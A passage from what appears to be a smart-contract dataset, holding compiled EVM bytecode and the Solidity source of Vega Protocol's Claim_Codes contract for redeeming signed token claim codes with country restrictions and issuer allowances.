018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200c52f45ca4f934ad9582e3e0af369fc08a7af7d95e056093addf27369698e53a64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,410 |
0xd1bdf85db6af63f45211db95928d938abcc52dc8 | //SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
interface IERC20_Vesting {
/// @notice this function allows the conroller or permitted issuer to issue tokens from this contract itself (no tranches) into the specified tranche
function issue_into_tranche(address user, uint8 tranche_id, uint256 amount) external;
}
/// @title Claim_Codes
/// @author Vega Protocol
/// @notice This contract manages claim code redeption and issue limits
/// @dev run ERC20_Vesting.permit_issuer(this contract, amount) prior to claims
contract Claim_Codes {
event Issuer_Permitted(address indexed issuer, uint256 amount);
event Issuer_Revoked(address indexed issuer);
event Controller_Set(address indexed new_controller);
event Claimed(bytes32 indexed message_hash);
/// @notice this is the address of the 'owner' of this contract. Only the controller can permit_issuer
address public controller;
/// @notice this is the address of the ERC20_Vesting smart contract whos issue_into_tranche command this contract calls
address public vesting_address;
/// @notice nonce => has been used
mapping(uint256 => bool) public nonces;
/// @notice 2 char ISO country codes ASCII to hex string (like 0x12Af) => is allowed country
mapping(bytes2 => bool) public allowed_countries;
/// @notice this is a mapping of all of the commited, but unclaimed untargeted claim codes
/// @notice the bytes32 hash is: keccak256(abi.encode(claim_code, claimer))
mapping(bytes32 => bool) public commits;
/// @notice issuer address => permitted issuance allowance
mapping(address => uint256) public permitted_issuance;
/// @param _vesting_address The target ERC20_Vesting contract
/// @param _controller address of the 'admin' of this contract
/// @notice _vesting_address cannot be changed once deployed
constructor(address _vesting_address, address _controller){
controller = _controller;
vesting_address = _vesting_address;
emit Controller_Set(_controller);
}
/// @notice this function removes the provided country codes from list of allowed countries
/// @param country_codes Array of 2 char ISO country codes ASCII to hex string (like 0x12Af) that will be blocked
function block_countries(bytes2[] calldata country_codes) public only_controller {
for (uint256 i = 0; i < country_codes.length; i++) {
allowed_countries[country_codes[i]] = false;
}
}
/// @notice this function adds the provided country codes to list of allowed countries
/// @param country_codes Array of 2 char ISO country codes ASCII to hex string (like 0x12Af) that will be allowed
function allow_countries(bytes2[] calldata country_codes) public only_controller {
for (uint256 i = 0; i < country_codes.length; i++) {
allowed_countries[country_codes[i]] = true;
}
}
function verify_signature(bytes calldata claim_code, bytes32 message_hash) internal pure returns(address) {
//recover address from that msg
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := calldataload(claim_code.offset)
// second 32 bytes
s := calldataload(add(claim_code.offset, 32))
// final byte (first byte of the next 32 bytes)
v := byte(0,calldataload(add(claim_code.offset, 64)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "Mallable signature error");
if (v < 27) v += 27;
return ecrecover(message_hash, v, r, s);
}
/// @notice this function redeems claim codes that have been issued to a specific Ethereum address
/// @notice this function verifies that the claim code and provided params are correct, then issues 'denomination' amount of tokens into provided tranche
/// @notice this function calls ERC20_Vesting.issue_into_tranche
/// @notice code issuer must have permitted_issuance balance >= denomination
/// @notice only the targeted address encoded into the claim_code can run this function
/// @param claim_code this is the signed hash: keccak256(abi.encode(denomination, tranche, expiry, nonce, target))
/// @param denomination amount of tokens to be claimed
/// @param tranche the tranche_id of tranche into which the tokens will be issued
/// @param expiry expiration unix timestap (in seconds) of the code being claimed
/// @param nonce the unique randomly generated number of the code being claimed
/// @param country_code the 2 char ISO country code ASCII to hex string (like 0x12Af) of the claimer
/// @notice Crimea is excluded from both Russia and Ukraine for the purpose of processing claim codes, the substitute ISO code for Crimera region is "RC"
function redeem_targeted(bytes calldata claim_code, uint256 denomination, uint8 tranche, uint256 expiry, uint256 nonce, bytes2 country_code) public {
require(expiry == 0 || block.timestamp <= expiry, "this code has expired");
require(!nonces[nonce], "already redeemed");
require(allowed_countries[country_code], "restricted country");
bytes32 message_hash = keccak256(abi.encode(denomination, tranche, expiry, nonce, msg.sender));
address recovered_address = verify_signature(claim_code, message_hash);
require(recovered_address != address(0), "bad claim code");
require(recovered_address != msg.sender, "cannot issue to self");
if(permitted_issuance[recovered_address] > 0){
/// @dev if code gets here, they are an issuer if not they must be the controller to continue
require(permitted_issuance[recovered_address] >= denomination, "not enough permitted balance");
permitted_issuance[recovered_address] -= denomination;
} else {
require(recovered_address == controller, "unauthorized issuer");
}
nonces[nonce] = true;
IERC20_Vesting(vesting_address).issue_into_tranche(msg.sender, tranche, denomination);
emit Claimed(message_hash);
}
/// @notice this function returns the hash of the claim_code + the address of the wallet that runs this.
/// @notice the hash generated by this fucntion is the expected hash for commit_untargeted_code
/// @param claim_code the untargeted claim code which is the signed hash: keccak256(abi.encode(denomination, tranche, expiry, nonce))
function get_code_hash(bytes memory claim_code) public view returns (bytes32){
return keccak256(abi.encode(claim_code, msg.sender));
}
/// @notice this function is the commit step of the commit/reveal procedure to prevent frontrunning of untargeted claim codes
/// @param hash this is the hash of the claim_code mixed with the claimer's address: keccak256(abi.encode(claim_code, claimer_address))
/// @notice this step MUST be completed before redeem_untargeted_code will work, otherwise the claimer will recieve the error: "code has not been commited"
function commit_untargeted_code(bytes32 hash) public {
commits[hash] = true;
}
/// @notice this function redeems untargeted claim codes to the address that runs it
/// @notice this function verifies that the claim code and provided params are correct, then issues 'denomination' amount of tokens into provided tranche
/// @notice this function calls ERC20_Vesting.issue_into_tranche
/// @notice code issuer must have permitted_issuance balance >= denomination
/// @notice claimer MUST run commit_untargeted_code first
/// @param claim_code this is the signed hash: keccak256(abi.encode(denomination, tranche, expiry, nonce, target))
/// @param denomination amount of tokens to be claimed
/// @param tranche the tranche_id of tranche into which the tokens will be issued
/// @param expiry expiration unix timestap (in seconds) of the code being claimed
/// @param nonce the unique randomly generated number of the code being claimed
/// @param country_code the 2 char ISO country code ASCII to hex string (like 0x12Af) of the claimer
/// @notice Crimea is excluded from both Russia and Ukraine for the purpose of processing claim codes, the substitute ISO code for Crimera region is "RC"
function redeem_untargeted_code(bytes calldata claim_code, uint256 denomination, uint8 tranche, uint256 expiry, uint256 nonce, bytes2 country_code) public {
require(expiry == 0 || block.timestamp <= expiry, "this code has expired");
require(!nonces[nonce], "already redeemed");
require(allowed_countries[country_code], "restricted country");
bytes32 message_hash = keccak256(abi.encode(denomination, tranche, expiry, nonce));
bytes32 commit_msg = keccak256(abi.encode(claim_code, msg.sender));
require(commits[commit_msg], "code has not been commited");
address recovered_address = verify_signature(claim_code, message_hash);
require(recovered_address != address(0), "bad claim code");
require(recovered_address != msg.sender, "cannot issue to self");
if(permitted_issuance[recovered_address] > 0){
/// @dev if code gets here, they are an issuer if not they must be the controller to continue
require(permitted_issuance[recovered_address] >= denomination, "not enough permitted balance");
permitted_issuance[recovered_address] -= denomination;
} else {
require(recovered_address == controller, "unauthorized issuer");
}
delete(commits[commit_msg]);
nonces[nonce] = true;
IERC20_Vesting(vesting_address).issue_into_tranche(msg.sender, tranche, denomination);
emit Claimed(message_hash);
}
/// @notice This function allows the controller to permit the given address to issue the given Amount
/// @notice Target users MUST have a zero (0) permitted issuance balance (try revoke_issuer)
/// @dev emits Issuer_Permitted event
/// @param issuer Target address to be allowed to issue given amount
/// @param amount Number of tokens issuer is permitted to issue
function permit_issuer(address issuer, uint256 amount) public only_controller {
/// @notice revoke is required first to stop a simple double allowance attack
require(amount > 0, "amount must be > 0");
require(permitted_issuance[issuer] == 0, "issuer already permitted, revoke first");
require(controller != issuer, "controller cannot be permitted issuer");
permitted_issuance[issuer] = amount;
emit Issuer_Permitted(issuer, amount);
}
/// @notice This function allows the controller to revoke issuance permission from given target
/// @notice permitted_issuance must be greater than zero (0)
/// @dev emits Issuer_Revoked event
/// @param issuer Target address of issuer to be revoked
function revoke_issuer(address issuer) public only_controller {
require(permitted_issuance[issuer] != 0, "issuer already revoked");
permitted_issuance[issuer] = 0;
emit Issuer_Revoked(issuer);
}
/// @notice This function allows the controller to assign a new controller
/// @dev Emits Controller_Set event
/// @param new_controller Address of the new controller
function set_controller(address new_controller) public only_controller {
controller = new_controller;
permitted_issuance[new_controller] = 0;
emit Controller_Set(new_controller);
}
modifier only_controller {
require( msg.sender == controller, "not controller" );
_;
}
}
/**
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM
MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM
MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................DDD
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM
MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM
MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/ | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806353223252116100975780639cef4355116100665780639cef435514610280578063a7480e6a1461029c578063a8be47e4146102b8578063f77c4791146102e8576100f5565b8063532232521461020e578063638248361461022a57806391b10ffa1461024857806394a4ff3f14610264576100f5565b806326bc922a116100d357806326bc922a14610176578063277817c71461019257806334b4947b146101ae57806347885781146101de576100f5565b806301d86f99146100fa5780630b8ada941461012a578063141a468c14610146575b600080fd5b610114600480360381019061010f9190611b5b565b610306565b6040516101219190611ecd565b60405180910390f35b610144600480360381019061013f9190611ab4565b610338565b005b610160600480360381019061015b9190611b9c565b610904565b60405161016d9190611eb2565b60405180910390f35b610190600480360381019061018b9190611a1d565b610924565b005b6101ac60048036038101906101a791906119e1565b610a93565b005b6101c860048036038101906101c39190611a62565b610d0b565b6040516101d59190611eb2565b60405180910390f35b6101f860048036038101906101f39190611a8b565b610d2b565b6040516102059190611eb2565b60405180910390f35b61022860048036038101906102239190611a8b565b610d4b565b005b610232610d7a565b60405161023f9190611e60565b60405180910390f35b610262600480360381019061025d91906119b8565b610da0565b005b61027e600480360381019061027991906119b8565b610ef9565b005b61029a60048036038101906102959190611a1d565b611095565b005b6102b660048036038101906102b19190611ab4565b611204565b005b6102d260048036038101906102cd91906119b8565b61171f565b6040516102df919061214f565b60405180910390f35b6102f0611737565b6040516102fd9190611e60565b60405180910390f35b6000813360405160200161031b929190611f5f565b604051602081830303815290604052805190602001209050919050565b60008314806103475750824211155b610386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037d90611f8f565b60405180910390fd5b6002600083815260200190815260200160002060009054906101000a900460ff16156103e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103de9061208f565b60405180910390fd5b60036000827dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff16610489576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048090611faf565b60405180910390fd5b6000858585856040516020016104a2949392919061216a565b60405160208183030381529060405280519060200120905060008888336040516020016104d193929190611f2d565b6040516020818303038152906040528051906020012090506004600082815260200190815260200160002060009054906101000a900460ff16610549576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105409061206f565b60405180910390fd5b60006105568a8a8561175b565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf906120ef565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e9061212f565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561075c5787600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890611fef565b60405180910390fd5b87600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461075091906122bc565b925050819055506107eb565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e1906120cf565b60405180910390fd5b5b6004600083815260200190815260200160002060006101000a81549060ff021916905560016002600087815260200190815260200160002060006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2de6e6d33898b6040518463ffffffff1660e01b815260040161089993929190611e7b565b600060405180830381600087803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b50505050827feddf608ef698454af2fb41c1df7b7e5154ff0d46969f895e0f39c7dfe7e6380a60405160405180910390a250505050505050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a99061210f565b60405180910390fd5b60005b82829050811015610a8e576000600360008585858181106109ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610a149190611a62565b7dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a86906123ee565b9150506109b5565b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b189061210f565b60405180910390fd5b60008111610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b9061200f565b60405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd9061204f565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c9061202f565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fb1dde3dfc5e8df8a1ad5d278b36a91192c9106fc9ae0d1730c82455692640cd882604051610cff919061214f565b60405180910390a25050565b60036020528060005260406000206000915054906101000a900460ff1681565b60046020528060005260406000206000915054906101000a900460ff1681565b60016004600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e259061210f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f587f8c3da67289e1b7fa2679aafa43e8ef08d5d8d9adfcb67cc825264c431c1360405160405180910390a250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e9061210f565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561100a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611001906120af565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167faa482319d1110d84c35ff519b80c0449540dfbdbe6ee1daf21c2483378a1bed060405160405180910390a250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a9061210f565b60405180910390fd5b60005b828290508110156111ff57600160036000858585818110611170577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906111859190611a62565b7dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111f7906123ee565b915050611126565b505050565b60008314806112135750824211155b611252576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124990611f8f565b60405180910390fd5b6002600083815260200190815260200160002060009054906101000a900460ff16156112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa9061208f565b60405180910390fd5b60036000827dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff16611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c90611faf565b60405180910390fd5b600085858585336040516020016113709594939291906121af565b604051602081830303815290604052805190602001209050600061139589898461175b565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe906120ef565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d9061212f565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561159b5786600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790611fef565b60405180910390fd5b86600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461158f91906122bc565b9250508190555061162a565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611629576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611620906120cf565b60405180910390fd5b5b60016002600086815260200190815260200160002060006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2de6e6d33888a6040518463ffffffff1660e01b81526004016116b593929190611e7b565b600060405180830381600087803b1580156116cf57600080fd5b505af11580156116e3573d6000803e3d6000fd5b50505050817feddf608ef698454af2fb41c1df7b7e5154ff0d46969f895e0f39c7dfe7e6380a60405160405180910390a2505050505050505050565b60056020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000808635925060208701359150604087013560001a90507f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08260001c11156117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390611fcf565b60405180910390fd5b601b8160ff1610156117f857601b816117f59190612285565b90505b6001858285856040516000815260200160405260405161181b9493929190611ee8565b6020604051602081039080840390855afa15801561183d573d6000803e3d6000fd5b5050506020604051035193505050509392505050565b600061186661186184612227565b612202565b90508281526020810184848401111561187e57600080fd5b61188984828561237b565b509392505050565b6000813590506118a081612730565b92915050565b60008083601f8401126118b857600080fd5b8235905067ffffffffffffffff8111156118d157600080fd5b6020830191508360208202830111156118e957600080fd5b9250929050565b6000813590506118ff81612747565b92915050565b6000813590506119148161275e565b92915050565b60008083601f84011261192c57600080fd5b8235905067ffffffffffffffff81111561194557600080fd5b60208301915083600182028301111561195d57600080fd5b9250929050565b600082601f83011261197557600080fd5b8135611985848260208601611853565b91505092915050565b60008135905061199d81612775565b92915050565b6000813590506119b28161278c565b92915050565b6000602082840312156119ca57600080fd5b60006119d884828501611891565b91505092915050565b600080604083850312156119f457600080fd5b6000611a0285828601611891565b9250506020611a138582860161198e565b9150509250929050565b60008060208385031215611a3057600080fd5b600083013567ffffffffffffffff811115611a4a57600080fd5b611a56858286016118a6565b92509250509250929050565b600060208284031215611a7457600080fd5b6000611a82848285016118f0565b91505092915050565b600060208284031215611a9d57600080fd5b6000611aab84828501611905565b91505092915050565b600080600080600080600060c0888a031215611acf57600080fd5b600088013567ffffffffffffffff811115611ae957600080fd5b611af58a828b0161191a565b97509750506020611b088a828b0161198e565b9550506040611b198a828b016119a3565b9450506060611b2a8a828b0161198e565b9350506080611b3b8a828b0161198e565b92505060a0611b4c8a828b016118f0565b91505092959891949750929550565b600060208284031215611b6d57600080fd5b600082013567ffffffffffffffff811115611b8757600080fd5b611b9384828501611964565b91505092915050565b600060208284031215611bae57600080fd5b6000611bbc8482850161198e565b91505092915050565b611bce816122f0565b82525050565b611bdd81612302565b82525050565b611bec8161233a565b82525050565b6000611bfe8385612263565b9350611c0b83858461237b565b611c1483612495565b840190509392505050565b6000611c2a82612258565b611c348185612263565b9350611c4481856020860161238a565b611c4d81612495565b840191505092915050565b6000611c65601583612274565b9150611c70826124a6565b602082019050919050565b6000611c88601283612274565b9150611c93826124cf565b602082019050919050565b6000611cab601883612274565b9150611cb6826124f8565b602082019050919050565b6000611cce601c83612274565b9150611cd982612521565b602082019050919050565b6000611cf1601283612274565b9150611cfc8261254a565b602082019050919050565b6000611d14602583612274565b9150611d1f82612573565b604082019050919050565b6000611d37602683612274565b9150611d42826125c2565b604082019050919050565b6000611d5a601a83612274565b9150611d6582612611565b602082019050919050565b6000611d7d601083612274565b9150611d888261263a565b602082019050919050565b6000611da0601683612274565b9150611dab82612663565b602082019050919050565b6000611dc3601383612274565b9150611dce8261268c565b602082019050919050565b6000611de6600e83612274565b9150611df1826126b5565b602082019050919050565b6000611e09600e83612274565b9150611e14826126de565b602082019050919050565b6000611e2c601483612274565b9150611e3782612707565b602082019050919050565b611e4b81612364565b82525050565b611e5a8161236e565b82525050565b6000602082019050611e756000830184611bc5565b92915050565b6000606082019050611e906000830186611bc5565b611e9d6020830185611e51565b611eaa6040830184611e42565b949350505050565b6000602082019050611ec76000830184611bd4565b92915050565b6000602082019050611ee26000830184611be3565b92915050565b6000608082019050611efd6000830187611be3565b611f0a6020830186611e51565b611f176040830185611be3565b611f246060830184611be3565b95945050505050565b60006040820190508181036000830152611f48818587611bf2565b9050611f576020830184611bc5565b949350505050565b60006040820190508181036000830152611f798185611c1f565b9050611f886020830184611bc5565b9392505050565b60006020820190508181036000830152611fa881611c58565b9050919050565b60006020820190508181036000830152611fc881611c7b565b9050919050565b60006020820190508181036000830152611fe881611c9e565b9050919050565b6000602082019050818103600083015261200881611cc1565b9050919050565b6000602082019050818103600083015261202881611ce4565b9050919050565b6000602082019050818103600083015261204881611d07565b9050919050565b6000602082019050818103600083015261206881611d2a565b9050919050565b6000602082019050818103600083015261208881611d4d565b9050919050565b600060208201905081810360008301526120a881611d70565b9050919050565b600060208201905081810360008301526120c881611d93565b9050919050565b600060208201905081810360008301526120e881611db6565b9050919050565b6000602082019050818103600083015261210881611dd9565b9050919050565b6000602082019050818103600083015261212881611dfc565b9050919050565b6000602082019050818103600083015261214881611e1f565b9050919050565b60006020820190506121646000830184611e42565b92915050565b600060808201905061217f6000830187611e42565b61218c6020830186611e51565b6121996040830185611e42565b6121a66060830184611e42565b95945050505050565b600060a0820190506121c46000830188611e42565b6121d16020830187611e51565b6121de6040830186611e42565b6121eb6060830185611e42565b6121f86080830184611bc5565b9695505050505050565b600061220c61221d565b905061221882826123bd565b919050565b6000604051905090565b600067ffffffffffffffff82111561224257612241612466565b5b61224b82612495565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006122908261236e565b915061229b8361236e565b92508260ff038211156122b1576122b0612437565b5b828201905092915050565b60006122c782612364565b91506122d283612364565b9250828210156122e5576122e4612437565b5b828203905092915050565b60006122fb82612344565b9050919050565b60008115159050919050565b60007fffff00000000000000000000000000000000000000000000000000000000000082169050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156123a857808201518184015260208101905061238d565b838111156123b7576000848401525b50505050565b6123c682612495565b810181811067ffffffffffffffff821117156123e5576123e4612466565b5b80604052505050565b60006123f982612364565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561242c5761242b612437565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f7468697320636f64652068617320657870697265640000000000000000000000600082015250565b7f7265737472696374656420636